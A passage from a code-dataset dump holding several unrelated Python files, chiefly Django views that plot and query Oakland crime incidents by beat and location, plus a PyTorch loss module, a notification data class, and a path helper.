need2login(request):\n\treturn render(request, 'dailyIncid/need2login.html', Context({}))\n\n@login_required\ndef getQuery(request):\n\n\t# import pdb; pdb.set_trace()\n\tif request.method == 'POST':\n\t\tqform = twoTypeQ(request.POST)\n\t\tif qform.is_valid():\n\t\t\tqryData = qform.cleaned_data\n\t\t\tif qryData['crimeCat2']:\n\t\t\t\tqurl = '/dailyIncid/plots/%s+%s+%s.png' % (qryData['beat'],qryData['crimeCat'],qryData['crimeCat2'])\n\t\t\telse:\n\t\t\t\tqurl = '/dailyIncid/plots/%s+%s.png' % (qryData['beat'], qryData['crimeCat']) \n\t\t\treturn HttpResponseRedirect(qurl)\n\telse:\n\t\tqform = twoTypeQ()\n\t\t\n\treturn render(request, 'dailyIncid/getQuery.html', {'form': qform, 'siteUrl': SiteURL})\n\t \nimport os\n\nimport matplotlib\n\n# Force matplotlib to not use any Xwindows backend.\n# changed in webapps/django/lib/python2.7/matplotlib/mpl-data/matplotlibrc\n\nmatplotlib.use('Agg')\n\nimport pylab as p\n\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nfrom matplotlib.dates import DateFormatter\nfrom datetime import datetime,timedelta,date\nimport matplotlib.dates as mdates\n\n\n# 2do: reconcile djOakData code with c4a\nMinYear = 2007\nMaxYear = 2017\nC4A_date_string = '%y%m%d_%H:%M:%S'\n\n\ndef monthIdx(cdate):\n\tmon = cdate.month+12*(cdate.year - MinYear) - 1\n\treturn mon\n\ndef monthIdx1(dateStr):\n\tcdate = datetime.strptime( dateStr, C4A_date_string)\n\tmon = cdate.month+12*(cdate.year - MinYear) - 1\n\treturn mon\t\n\ndef plotResults(request,beat,crimeCat,crimeCat2=None):\n \n\t## build data vectors\n\t\n\t# 2do precompute, cache city-wide stats for all crimeCat\n\t\n\tif crimeCat2=='None':\n\t\tfname = '%s+%s' % (beat,crimeCat)\n\telse:\n\t\tfname = '%s+%s+%s' % (beat,crimeCat,crimeCat2)\n\t\n\t# Alternative: cache precomputed plots?\n\t\n#\tif os.path.isfile(PlotPath+fname+'.png'):\n#\t\t# 2do: how to get figure from file?\n#\t\timg = getImage(PlotPath+fname+'.png')\n#\t\tcanvas = FigureCanvas(img)\n#\t\tresponse = HttpResponse(content_type='image/png')\n#\t\tcanvas.print_png(response)\n#\t\treturn response\n\n\tnbins = 12 * ((MaxYear-MinYear)+1)\n\tcityFreq = [0 for m in range(nbins) ]\n\tbeatFreq = [0 for m in range(nbins) ]\n\t \n\t# NB: using regexp comparison with crimeCat prefix for cheapo hierarchy!\n\t\n\t# NB: need to include primary key (idx), cuz of deferred status from raw() ?\n\t\n\t# http://stackoverflow.com/questions/3105249/python-sqlite-parameter-substitution-with-wildcards-in-like\n\tstartsCC = '^%s' % crimeCat\n\n\t# sqlite uses regexp\n\t# qryStr = \"SELECT idx, cdate, beat FROM dailyIncid_oakcrime where crimeCat regexp %s\"\n\t# WebFaction\n\tqryStr = 'SELECT idx, \"cdateTime\", beat FROM \"dailyIncid_oakcrime\" where \"crimeCat\" ~ %s'\n\n\tbegQTime = datetime.now()\n\tfor c in OakCrime.objects.raw(qryStr,[startsCC]):\n\t# for c in OakCrime.objects.raw(qryStrBAD):\n\t\tcd = c.cdateTime\n\t\tcb = c.beat\n\t\tmi = monthIdx(cd)\n\t\tif mi < 0 or mi > len(cityFreq):\n\t\t\tcontinue\n\t\tcityFreq[mi] += 1\n\t\tif beat==cb:\n\t\t\tbeatFreq[mi] += 1\n\n\tif crimeCat2!='None':\n\t\tcityFreq2 = [0 for m in range(nbins) ]\n\t\tbeatFreq2 = [0 for m in range(nbins) ]\n\t\t\t\n\t\tstartsCC2 = '^%s' % crimeCat2\n\t\n\t\t# local\n\t\t# qryStr2 = \"SELECT idx, cdateTime, beat FROM dailyIncid_oakcrime where crimeCat regexp %s\"\n\t\t# WebFaction\n\t\tqryStr2 = 'SELECT idx, \"cdateTime\", beat FROM \"dailyIncid_oakcrime\" where \"crimeCat\" ~ %s'\n\t\n\t\tfor c in OakCrime.objects.raw(qryStr2,[startsCC2]):\n\t\t# for c in OakCrime.objects.raw(qryStrBAD):\n\t\t\tcd = c.cdateTime\n\t\t\tcb = c.beat\n\t\t\tmi = monthIdx(cd)\n\t\t\tif mi < 0 or mi > len(cityFreq):\n\t\t\t\tcontinue\n\t\t\tcityFreq2[mi] += 1\n\t\t\tif beat==cb:\n\t\t\t\tbeatFreq2[mi] += 1\n\t\t\t\t\n\tqryTime = datetime.now()-begQTime\n\t\t\n\tNGoodBeats = 57 # cf opd.GoodBeats\n\tavgFreq = [float(cityFreq[m])/NGoodBeats for m in range(nbins)]\n\t\n\ttotBeat = sum(beatFreq)\n\ttotCity = sum(cityFreq)\n\t\n\t## plot data\n\t\n\tf1 = p.figure()\n\tax=f1.add_subplot(111)\n\t\t\n\tdatemin = date(MinYear, 1, 1)\n\tdatemax = date(MaxYear, 12, 1)\n\tdates = []\n\tfor yr in range(MinYear,MaxYear+1):\n\t\tfor mon in range(12):\n\t\t\tdates.append( date(yr,mon+1,1) )\n\t\n\tyears\t= mdates.YearLocator() # every year\n\tmonths = mdates.MonthLocator() # every month\n\tyearsFmt = mdates.DateFormatter('%Y')\n\t\n\t# format the ticks\n\tax.xaxis.set_major_locator(years)\n\tax.xaxis.set_major_formatter(yearsFmt)\n\tax.xaxis.set_minor_locator(months)\n\tax.set_xlim(datemin, datemax)\n \n\t### PLOT\n\t\n\tif crimeCat2=='None':\n\t\tax.plot(dates,beatFreq,label=('Beat %s' % beat))\n\t\tax.plot(dates,avgFreq,label='BeatAvg (OPD total/57)')\n\telse:\n\t\ttotBeat2 = sum(beatFreq2)\n\t\ttotCity2 = sum(cityFreq2)\n\t\tavgFreq2 = [float(cityFreq2[m])/NGoodBeats for m in range(nbins)]\n\n\t\tax.plot(dates,beatFreq,'b',label=('%s - Beat %s' % (crimeCat, beat)))\n\t\tax.plot(dates,avgFreq,'b:',label='%s - BeatAvg (OPD total/57)' % (crimeCat))\n\n\t\tax.plot(dates,beatFreq2,'g',label=('%s - Beat %s' % (crimeCat2, beat)))\n\t\tax.plot(dates,avgFreq2,'g:',label='%s - BeatAvg' % (crimeCat2))\n\t\t\t\t\n\trunTime = str(datetime.now())\n\trunTime = runTime[:runTime.index(' ')] # HACK: drop time\n\t\n\tplotName = fname.replace('+',' ')\n\tif crimeCat2=='None':\n\t\tlbl = ('OPD Monthly Crime: %s (Total %d / %d)' % (plotName,totBeat, totCity))\n\telse:\n\t\tlbl = ('OPD Monthly Crime: %s\\n(Total %d / %d ; %d / %d)' % (plotName,totBeat, totCity,totBeat2, totCity2))\n\t\t\n\tp.title(lbl,fontsize=10)\n\tp.legend(loc='upper left',fontsize=8)\n\n\tannote = 'ElectronicArtifacts.com'+' - '+runTime+\\\n\t\t'\\nOpenOakland.org -- a CodeForAmerica Brigade'\n\tp.text(0.65, 0.93,annote, \\\n\t\t\t\t horizontalalignment='left',verticalalignment='bottom', transform = ax.transAxes, \\\n\t\t\t\t fontsize=6 )\n\t\n\tf1.autofmt_xdate()\n\t\n\tfigDPI=200\n\tfullPath = PlotPath+fname+'_'+runTime+'.png'\n\tuserName = request.user.get_username()\n\tlogger.info('user=%s plotting %d/%d (%6.2f sec) to %s' % (userName,totBeat,totCity,qryTime.total_seconds(),fullPath))\n\tf1.savefig(fullPath,dpi=figDPI)\n\n\tcanvas = FigureCanvas(f1)\n\tresponse = HttpResponse(content_type='image/png')\n\n\tcanvas.print_png(response)\n\treturn response\n\n\ndef otherUtil(request):\n\treturn render(request, 'dailyIncid/otherUtil.html')\n\n\n## GeoDjango\n\nfrom django.contrib.gis.geos import GEOSGeometry\nfrom django.contrib.gis.geos import Point\nfrom django.contrib.gis.utils import LayerMapping\n\n# @transaction.atomic\ndef add_geo(request):\n\t'''Convert ylat + xlng attributes to django.contrib.gis.geos.Point\n\tassociate each incid with zip5\n\t'''\n\n\tbegTime = datetime.now()\n\tbegTimeStr = begTime.strftime('%y%m%d_%H%M%S')\n\t\n\tuserName = request.user.get_username()\n\n\tlogger.info('user=%s add_geo: Start=%s' % (userName,begTimeStr))\n\tnmissPt = 0\n\tnullPt = Point([])\n\trptInterval = 1000\n\tfor i,c in enumerate(OakCrime.objects.all().order_by('opd_rd')):\n\n\t\ttry:\n\t\t\t# with transaction.atomic():\n\t\t\t\n\t\t\t# pnt X is longitude, Y is latitude\n\t\t\tpnt = Point(c.xlng, c.ylat)\n\t\t\tc.point = pnt\n\t\t\t\n\t\t\tif c.point==nullPt:\n\t\t\t\tnmissPt += 1\n\t\t\t\tc.zip = None\n\t\t\t\tcontinue\n\n# \t\t\tzipgeo = Zip5Geo.objects.get(geom__contains=pnt)\n# \t\t\tc.zip = zipgeo.zcta5ce10\n\n\t\t\tc.save()\n\t\t\t\n\t\t\t# print i, c.opd_rd,c.zip\n\n\t\texcept IntegrityError as e:\n\t\t\tlogger.error('user=%s add_geo Integrity?! %d %s %s' % (userName, i,c.opd_rd,e))\n\t\t\t\n\t\texcept Exception as e:\n\t\t\tlogger.error('user=%s add_geo?! %d %s %s' % (userName,i,c.opd_rd,e))\n\n\t\tif (i % rptInterval) == 0:\n\t\t\telapTime = datetime.now() - begTime\n\t\t\tlogger.info('user=%s add_geo: %d %s NMiss=%d' % userName, (i,elapTime.total_seconds(),nmissPt))\n\t\t\t\t\n\treturn HttpResponse(\"You're at add_geo\")\n\n@login_required\ndef nearHereMZ(request):\n\n\t# import pdb; pdb.set_trace()\n\tif request.method == 'POST':\n\t\tqform = getLatLng(request.POST)\n\t\tif not qform.is_valid():\n\t\t\treturn HttpResponse(\"Invalid lat long form?!\")\n\n\t\tsrs_default = 4326 # WGS84\n\t\tsrs_10N = 26910 \t# UTM zone 10N\n\t\tcloseRadius = 500\n\t\n\t\tqryData = qform.cleaned_data\n\t\t\n\t\tpt = Point(qryData['lng'],qryData['lat'],srid=srs_default)\n\t\tpt.transform(srs_10N)\n\t\t\n\t\t# tstDT = datetime(2017, 2, 10, 17, 00)\n\t\tnowDT = datetime.now()\n\t\t\n\t\tminDate = nowDT - timedelta(days=180)\n\t\t\n\t\t# emulate psql:\n\t\t# select point from table where point && \n\t\t#\tST_Transform( ST_Buffer( ST_Transform( point, 32610 ), 500 ), 4326 )\n\t\t\n\t\tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate). \\\n\t\t\t\t\texclude(xlng__isnull=True). \\\n\t\t\t\t\texclude(ylat__isnull=True). \\\n\t\t\t\t\tfilter(point__distance_lte=(pt, D(m=closeRadius))). \\\n\t\t\t\t\torder_by('cdateTime')\n\t\t\t\t\t\n\t\tincidList = list(queryset)\n\t\t\n\t\tuserName = request.user.get_username()\n\t\tlogger.info('user=%s NearHereMZ: NIncid=%d near (lat=%s,lng=%s)' % (userName, len(incidList), qryData['lat'], qryData['lng']))\n\n\t\tcontext = {}\n\t\tcontext['lat'] = qryData['lat']\n\t\tcontext['lng'] = qryData['lng']\n\t\tcontext['nIncid'] = len(incidList)\n\t\tcontext['incidList'] = incidList\n\t\t\t\n\t\treturn render(request, 'dailyIncid/nearHereListMZ.html', Context(context))\n\t\n\telse:\n\t\tqform = getLatLng()\n\t\t\n\treturn render(request, 'dailyIncid/getLatLong.html', {'form': qform})\n\n@login_required\ndef choosePlace(request,ptype):\n\n\tif request.method == 'POST':\n\t\tqform = getPlaceList(request.POST,ptype=ptype)\n\t\tif not qform.is_valid():\n\t\t\treturn HttpResponse(\"Invalid placeList form?!\")\n\n\t\tqryData = qform.cleaned_data\n\t\t\n\t\ttpchoice = qryData['placeList']\n\t\txlng = tpchoice.xlng\n\t\tylat = tpchoice.ylat\n\n\t\tsrs_default = 4326 # WGS84\n\t\tsrs_10N = 26910 \t# UTM zone 10N\n\t\tcloseRadius = 500\n\n\t\tpt = Point(xlng,ylat,srid=srs_default)\n\t\tpt.transform(srs_10N)\n\t\t\n\t\t# tstDT = datetime(2017, 2, 10, 17, 00)\n\t\tnowDT = datetime.now()\n\t\t\n\t\tminDate = nowDT - timedelta(days=180)\n\t\t\n\t\t# emulate psql:\n\t\t# select point from table where point && \n\t\t#\tST_Transform( ST_Buffer( ST_Transform( point, 32610 ), 500 ), 4326 )\n\t\t\n\t\tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate). \\\n\t\t\t\t\texclude(xlng__isnull=True). \\\n\t\t\t\t\texclude(ylat__isnull=True). \\\n\t\t\t\t\tfilter(point__distance_lte=(pt, D(m=closeRadius))). \\\n\t\t\t\t\torder_by('cdateTime')\n\t\t\t\t\t\n\t\tincidList = list(queryset)\n\t\t\n\t\tuserName = request.user.get_username()\n\t\tlogger.info('username=%s choosePlace: Ptype=%s Choice=%s NIncid=%d near (xlng=%s,ylat=%s)' % \\\n\t\t\t(userName, ptype, tpchoice.name, len(incidList), xlng, ylat))\n\n\t\tcontext = {}\n\t\tcontext['lat'] = ylat\n\t\tcontext['lng'] = xlng\n\t\tcontext['nIncid'] = len(incidList)\n\t\tcontext['incidList'] = incidList\n\t\t\n\t\tcontext['ptype'] = ptype\n\t\tcontext['pdesc'] = tpchoice.desc\n\t\t\n\t\treturn render(request, 'dailyIncid/nearHereListMZ.html', Context(context))\n\t\n\telse:\n\t\t# qform = getPlaceList()\n\t\tqform = getPlaceList(ptype=ptype)\n\t\tqs2 = TargetPlace.objects.filter(placeType=ptype)\n\t\tqsl = [ (tp.ylat,tp.xlng,tp.name,tp.desc) for tp in list(qs2) ]\n\t\n\treturn render(request, 'dailyIncid/getPlaceName.html', {'form': qform, 'ptype': ptype, 'qsl': qsl})\n\t\t\t\t\t\t\nfrom django.contrib import admin\nfrom django.contrib.gis.admin import GeoModelAdmin\nfrom django.contrib.gis.measure import D\n\nfrom rest_framework import viewsets, generics\nfrom dailyIncid import serializers\n\nfrom datetime import datetime, timedelta\n\n# ViewSet classes are almost the same thing as View classes, except that\n# they provide operations such as read, or update, and not method\n# handlers such as get or put.\n\n# The example above would generate the following URL patterns:\n# \n# URL pattern: ^diAPI/$ Name: 'dailyIncid-list'\n# URL pattern: ^diAPI/{pk}/$ Name: 'dailyIncid-detail'\n# \n# class IncidViewSet(viewsets.ReadOnlyModelViewSet):\n# \t\"\"\"API endpoint for DailyIncidents\n# \t\"\"\"\n# \n# \tserializer_class = serializers.IncidSerializer\n# \n# \tminDate = datetime.now() - timedelta(days=730)\n# \tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate).order_by('opd_rd')\n\n# The simplest way to filter the queryset of any view that subclasses\n# GenericAPIView is to override the .get_queryset() method.\n\t\nclass BeatAPI(generics.ListAPIView):\n\t'''API view for crimes from specified beat \n\t\trestricted to last two years \n\t'''\n\t\n\tserializer_class = serializers.IncidSerializer\n\t\n\tdef get_queryset(self):\n\t\t# restrict to last two years\n\t\tbegTime = datetime.now()\n\t\tminDate = datetime.now() - timedelta(days=730)\n\t\tbeat = self.kwargs['beat']\n\t\tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate). \\\n\t\t\t\t\t\tfilter(beat__iexact=beat). \\\n\t\t\t\t\t\torder_by('opd_rd')\n\t\t\n\t\tnresult = len(queryset)\n\t\telapTime = datetime.now() - begTime\n\t\tuserName = self.request.user.get_username()\n\t\tlogger.info('user=%s BeatListAPI %s nresult=%d (%6.2f sec) ' % (userName,beat,nresult,elapTime.total_seconds()))\n\n\t\treturn queryset\n\nclass NearHereAPI(generics.ListAPIView):\n\t'''API view for crimes within 500m of this longitude_latitude, \n\t\trestricted to last 6 months \n\t'''\n\n\tserializer_class = serializers.IncidSerializer\n\t\n\tdef get_queryset(self):\n\n\t\tlngStr = self.kwargs['lng']\n\t\tlatStr = self.kwargs['lat']\n\t\t\n\t\tpt = Point(float(lngStr), float(latStr))\n\t\t\n\t\tcloseRadius = 500\n\t\tbegTime = datetime.now()\n\t\tminDate = datetime.now() - timedelta(days=180)\n\n\t\tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate). \\\n\t\t\t\t\tfilter(point__distance_lte=(pt, D(m=closeRadius))). \\\n\t\t\t\t\torder_by('cdateTime')\n\n\t\tnresult = len(queryset)\n\t\telapTime = datetime.now() - begTime\n\t\tuserName = self.request.user.get_username()\n\t\tlogger.info('user=%s NearHereAPI lng=%s lat=%s nresult=%d (%6.2f sec)' % (userName,lngStr,latStr,nresult,elapTime.total_seconds()))\n\n\t\treturn queryset\n\nclass CrimeCatAPI(generics.ListAPIView):\n\t'''API view for crimes of this crime category \n\t\trestricted to last 6 months \n\t'''\n\tserializer_class = serializers.IncidSerializer\n\t\n\tdef get_queryset(self):\n\n\t\tcrimeCat = self.kwargs['cc']\n\t\tbegTime = datetime.now()\n\t\t# restrict to last two years\n\t\tminDate = datetime.now() - timedelta(days=180)\n\n\t\tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate). \\\n\t\t\t\t\t\tfilter(crimeCat__iexact=crimeCat). \\\n\t\t\t\t\t\torder_by('opd_rd')\n\n\t\tnresult = len(queryset)\n\t\telapTime = datetime.now() - begTime\n\t\tuserName = self.request.user.get_username()\n\t\tlogger.info('user=%s CrimeCatAPI cc=%s nresult=%d (%6.2f sec)' % (userName,crimeCat,nresult,elapTime.total_seconds()))\n\n\t\treturn queryset\n\nclass NearBART(generics.ListAPIView):\t\n\n\tserializer_class = serializers.IncidSerializer\n\t\n\tdef get_queryset(self):\n\t\t# restrict to 3 months, near BART station\n\t\t\n\t\t# Centroid of MCAR's three entrances\n\t\t# 37.828199, -122.265944 \n\t\t# 37 degrees 49'41.5\"N 122 degrees 15'57.4\"W\n\t\tMCAR_lat = 37.828199\n\t\tMCAR_lng = -122.265944\n\t\tMCAR_pt = Point(MCAR_lng, MCAR_lat)\n\t\tcloseRadius = 300\n\n\n\t\tdateTimeArgString = self.kwargs['datetime']\n# \t\tdtbits = dateTimeArgString.split('-')\n# \t\tdty = int(dtbits[0])\n# \t\tdtm = int(dtbits[1])\n# \t\tdtd = int(dtbits[2])\n# \t\tdth = int(dtbits[3])\n# \t\tdtm = int(dtbits[4])\n# \t\tdateTimeArg = datetime(dty,dtm,dtd,dth,dtm)\n\t\t\n\t\t# tstDT = datetime(2017, 2, 10, 17, 00)\n\t\t# minDate = tstDT - timedelta(days=90)\n\t\tminDate = datetime.datetime(2016, 11, 12, 17, 0)\n\n\t\tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate). \\\n\t\t\t\t\tfilter(point__distance_lte=(MCAR_pt, D(m=closeRadius))). \\\n\t\t\t\t\torder_by('cdateTime')\n\n\t\treturn queryset\n\n## Misc hacks\n\ndef add_zip(request):\n\t'''associate each incid with zip5\n\tASSUME points already added to incidents\n\t'''\n\n\tbegTime = datetime.now()\n\tbegTimeStr = begTime.strftime('%y%m%d_%H%M%S')\n\t\n\tuserName = request.user.get_username()\n\tlogger.info('userName=%s add_zip: Start=%s' % (userName, begTimeStr))\n\trptInterval = 1000\n\tnnull = 0\n\tfor i,c in enumerate(OakCrime.objects.all()): # .order_by('opd_rd')):\n\n\t\tif (i % rptInterval) == 0:\n\t\t\telapTime = datetime.now() - begTime\n\t\t\tlogger.info('userName=%s add_zip: %d %s NNull=%d' % (userName,i,elapTime.total_seconds(),nnull))\n\n\t\ttry:\n\t\t\tpnt = c.point\n\t\t\tif pnt==None:\n\t\t\t\tnnull += 1\n\t\t\t\tc.zip = ''\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tzipgeo = Zip5Geo.objects.get(geom__contains=pnt)\n\t\t\tc.zip = zipgeo.zcta5ce10\n\t\t\t\n\t\t\tc.save()\n\n\t\texcept IntegrityError as e:\n\t\t\tlogger.error('userName=%s add_zip Integrity?! %d %s %s' % (userName,i,c.opd_rd,e))\n\t\t\t\n\t\texcept Exception as e:\n\t\t\tlogger.error('userName=%s add_zip?! %d %s %s' % (userName,i,c.opd_rd,e))\n\n\t\n\treturn HttpResponse(\"userName=%s add_zip complete NNullPoint=%d\" % (userName,nnull))\n\nimport csv\ndef tstAllFile(request):\n\n\tSeriousCrimeCatExact = [\"HOMOCIDE\",\"SEX_RAPE\",\"WEAPONS\"]\n\tSeriousCrimeCatStarts = [\"ROBBERY\",\"ASSAULT\"]\n\t\t\n\tlocTbl = {} # locName-> (lat,lng)\n\tbartStationFile = '/Data/sharedData/c4a_oakland/OAK_data/BART/bart-OAK-nincid.csv'\n\tpark4File = '/Data/sharedData/c4a_oakland/OAK_data/parks-dist4.csv'\n\t\n\tcsvDictReader = csv.DictReader(open(park4File,\"r\"))\n\t\n\tfor entry in csvDictReader:\n\t\t# \"Name\",\"Entrance\",\"NIncid\",\"Lat\",\"Lng\"\n\t\tname = entry['Name']+'_'+entry['Entrance']\n\t\tloc = {'lng': entry['Lng'], 'lat': entry['Lat']}\n\t\tlocTbl[name] = loc\n\t\n\tcloseRadius = 500\n\ttstDT = datetime(2017, 2, 10, 17, 00)\n\tminDate = tstDT - timedelta(days=180)\n\tuserName = request.user.get_username()\n\tfor loc,qryData in locTbl.items():\n\t\t\n\n\t\tsrs_default = 4326 # WGS84\n\t\tsrs_10N = 26910 \t# UTM zone 10N\n\t\tcloseRadius = 500\n\t\n\t\tpt = Point(float(qryData['lng']),float(qryData['lat']),srid=srs_default)\n\n\t\tpt.transform(srs_10N)\n\t\t\n\t\tqueryset = OakCrime.objects.filter(cdateTime__gt=minDate). \\\n\t\t\t\t\tfilter(point__distance_lte=(pt, D(m=closeRadius))). \\\n\t\t\t\t\torder_by('cdateTime')\n\t\tincidList = list(queryset)\n\t\tnserious = 0\n\t\tfor incid in incidList:\n\t\t\tif incid.crimeCat == None or len(incid.crimeCat)==0:\n\t\t\t\tcontinue\n\t\t\tfor cc in SeriousCrimeCatExact:\n\t\t\t\tif incid.crimeCat == cc:\n\t\t\t\t\tnserious += 1\n\t\t\t\t\tcontinue\n\t\t\tfor ccPrefix in SeriousCrimeCatStarts:\n\t\t\t\tif incid.crimeCat.startswith(ccPrefix):\n\t\t\t\t\tnserious += 1\n\t\t\t\t\tcontinue\n\t\t\t\n\t\tlogger.info('userName=%s tstAllBART: %s NIncid=%d NSerious=%d near (lat=%s,lng=%s)' % \\\n\t\t\t\t(userName, loc,len(incidList),nserious, qryData['lat'], qryData['lng']))\n\t\t\n\treturn HttpResponse('tstAllBART %d locations' % (len(locTbl)))\n\n\n","sub_path":"showCrime/dailyIncid/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"81455808","text":"import os\nfrom importlib import import_module\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0, 1, 2, 3, 4, 5, 6, 7'\n\n\nclass L1_Charbonnier_loss(torch.nn.Module):\n \"\"\"L1 Charbonnierloss.\"\"\"\"\"\n def __init__(self):\n super(L1_Charbonnier_loss, self).__init__()\n self.eps = 1e-9\n\n def forward(self, X, Y):\n diff = torch.add(X, -Y)\n error = torch.sqrt(diff * diff + self.eps)\n loss = torch.mean(error)\n return loss\n\nclass MultiScaleLoss(torch.nn.Module):\n \"\"\"L1 Charbonnierloss.\"\"\"\"\"\n def __init__(self, weights=None):\n super(MultiScaleLoss, self).__init__()\n self.eps = 1e-9\n self.weights = weights\n\n def one_scale(self, output, target):\n b, _, h, w = output.size()\n\n target_scaled = F.interpolate(target, size=(h, w), mode='bilinear', align_corners=False)\n\n diff = torch.add(output, -target_scaled)\n error = torch.sqrt(diff * diff + self.eps)\n loss = torch.mean(error)\n return loss\n\n def forward(self, network_output, target_image):\n\n if type(network_output) not in [tuple, list]:\n network_output = [network_output]\n if self.weights is None:\n # weights = [1.0 / 32, 1.0 / 16.0, 1.0 / 8.0, 1.0 / 4.0, 1.0 / 2.0]\n weights = [1.0 / 2.0, 1.0 / 4.0, 1.0 / 8.0, 1.0 / 16.0, 1.0 / 16.0]\n else:\n weights = self.weights\n assert (len(weights) == len(network_output))\n\n loss = 0\n for output, weight in zip(network_output, weights):\n loss += weight * self.one_scale(output, target_image)\n\n return loss\n\n\n\nclass Loss(nn.modules.loss._Loss):\n def __init__(self, args):\n super(Loss, self).__init__()\n print('Preparing loss function:')\n\n self.loss = []\n self.loss_module = nn.ModuleList()\n for loss in args.loss.split('+'):\n weight, loss_type = loss.split('*')\n if loss_type == 'MSE':\n loss_function = nn.MSELoss()\n elif loss_type == 'L1':\n loss_function = nn.L1Loss()\n \n elif loss_type.find('GDL') >= 0:\n module = import_module('loss.gradient')\n loss_function = getattr(module, 'GradientLoss')()\n\n elif loss_type.find('VGG') >= 0:\n module = import_module('loss.vgg')\n loss_function = getattr(module, 'VGG')(\n loss_type[3:],\n rgb_range=args.rgb_range\n )\n elif loss_type.find('GAN') >= 0:\n module = import_module('loss.adversarial')\n loss_function = getattr(module, 'Adversarial')(\n args,\n loss_type\n )\n\n self.loss.append({\n 'type': loss_type,\n 'weight': float(weight),\n 'function': loss_function}\n )\n if loss_type.find('GAN') >= 0:\n self.loss.append({'type': 'DIS', 'weight': 1, 'function': None})\n\n if len(self.loss) > 1:\n self.loss.append({'type': 'Total', 'weight': 0, 'function': None})\n\n for l in self.loss:\n if l['function'] is not None:\n print('{:.3f} * {}'.format(l['weight'], l['type']))\n self.loss_module.append(l['function'])\n\n\n device = torch.device('cuda' if args.cuda else 'cpu')\n self.loss_module.to(device)\n\n self.loss_module = nn.DataParallel(self.loss_module)\n\n\n def forward(self, sr, hr):\n losses = []\n for i, l in enumerate(self.loss):\n if l['function'] is not None:\n loss = l['function'](sr, hr)\n effective_loss = l['weight'] * loss\n losses.append(effective_loss)\n\n loss_sum = sum(losses)\n\n return loss_sum\n","sub_path":"EMGA_GAN/src_online/loss/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"534093522","text":"\"\"\"Metric data needed for notifications.\"\"\"\n\n\nclass MetricNotificationData: # pylint: disable=too-few-public-methods\n \"\"\"Handle metric data needed for notifications.\"\"\"\n\n def __init__(self, metric, data_model, reason: str) -> None:\n \"\"\"Initialise the Notification with metric data.\"\"\"\n self.metric_name = metric[\"name\"] or f'{data_model[\"metrics\"][metric[\"type\"]][\"name\"]}'\n self.metric_unit = metric[\"unit\"] or f'{data_model[\"metrics\"][metric[\"type\"]][\"unit\"]}'\n recent_measurements = metric[\"recent_measurements\"]\n scale = metric[\"scale\"]\n\n self.new_metric_value = None\n self.old_metric_value = None\n self.new_metric_status = self.__user_friendly_status(data_model, None)\n self.old_metric_status = self.__user_friendly_status(data_model, None)\n\n if len(recent_measurements) >= 1:\n self.new_metric_value = recent_measurements[-1][scale][\"value\"]\n self.new_metric_status = self.__user_friendly_status(data_model, recent_measurements[-1][scale][\"status\"])\n\n if len(recent_measurements) >= 2:\n self.old_metric_value = recent_measurements[-2][scale][\"value\"]\n self.old_metric_status = self.__user_friendly_status(data_model, recent_measurements[-2][scale][\"status\"])\n\n self.reason = reason\n\n @staticmethod\n def __user_friendly_status(data_model, metric_status) -> str:\n \"\"\"Get the user friendly status name from the data model.\"\"\"\n statuses = data_model[\"sources\"][\"quality_time\"][\"parameters\"][\"status\"][\"api_values\"]\n inverted_statuses = {statuses[key]: key for key in statuses}\n human_readable_status, color = (\n str(inverted_statuses.get(metric_status, \"unknown (white)\")).strip(\")\").split(\" (\")\n )\n return f\"{color} ({human_readable_status})\"\n","sub_path":"components/notifier/src/models/metric_notification_data.py","file_name":"metric_notification_data.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"11689488","text":"import os\nfrom ..db import (get_album,\n add_path_to_componist, add_path_to_performer,\n get_performer, get_componist,\n ColorPrint)\nfrom . import (syspath_performer, syspath_componist, COMPONIST_PATH, )\n\n\ndef create_componist_path(componist_id):\n componist = get_componist(componist_id)\n if not componist:\n ColorPrint.print_c('{} has no componist'.format(componist_id), ColorPrint.RED)\n return None\n path = componist.get('Path')\n if path is None or len(path) == 0:\n path = syspath_componist(componist).encode('utf-8')\n if not os.path.exists(path):\n os.mkdir(path)\n add_path_to_componist(componist_id, path)\n return path\n\n\ndef create_performer_path(performer_id):\n performer = get_performer(performer_id)\n path = performer['Path']\n if path is None or len(path) == 0:\n path = syspath_performer(performer).encode('utf-8')\n if not os.path.exists(path):\n os.mkdir(path)\n add_path_to_performer(performer_id, path)\n return path\n\n\ndef path_from_id_field(post):\n path = None\n componist_id = post.get('componist_id')\n if componist_id:\n path = create_componist_path(componist_id)\n performer_id = post.get('performer_id')\n if performer_id:\n path = create_performer_path(performer_id)\n return path\n\n\ndef get_path(objectid, kind):\n if kind == 'album':\n album = get_album(objectid)\n return album['Path']\n elif kind == 'performer':\n return create_performer_path(objectid)\n elif kind == 'componist':\n return create_componist_path(objectid)\n elif kind == 'componisten':\n return COMPONIST_PATH\n return None\n","sub_path":"services/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"182057015","text":"# Copyright 2022 Canonical Ltd.\n# See LICENSE file for licensing details.\n\n\"\"\"grafana-auth library.\n\nThis library implements the grafana-auth relation interface,\nit contains the Requirer and Provider classes for handling\nthe interface.\nWith this library charms can to configure authentication to Grafana.\nThe provider will set the authentication mode that it needs,\nand will pass the necessary configuration of that authentication mode.\nThe requirer will consume the authentication configuration to authenticate to Grafana.\n\n## Getting Started\nFrom a charm directory, fetch the library using `charmcraft`:\n```shell\ncharmcraft fetch-lib charms.grafana_k8s.v0.grafana_auth\n```\nYou will also need to add 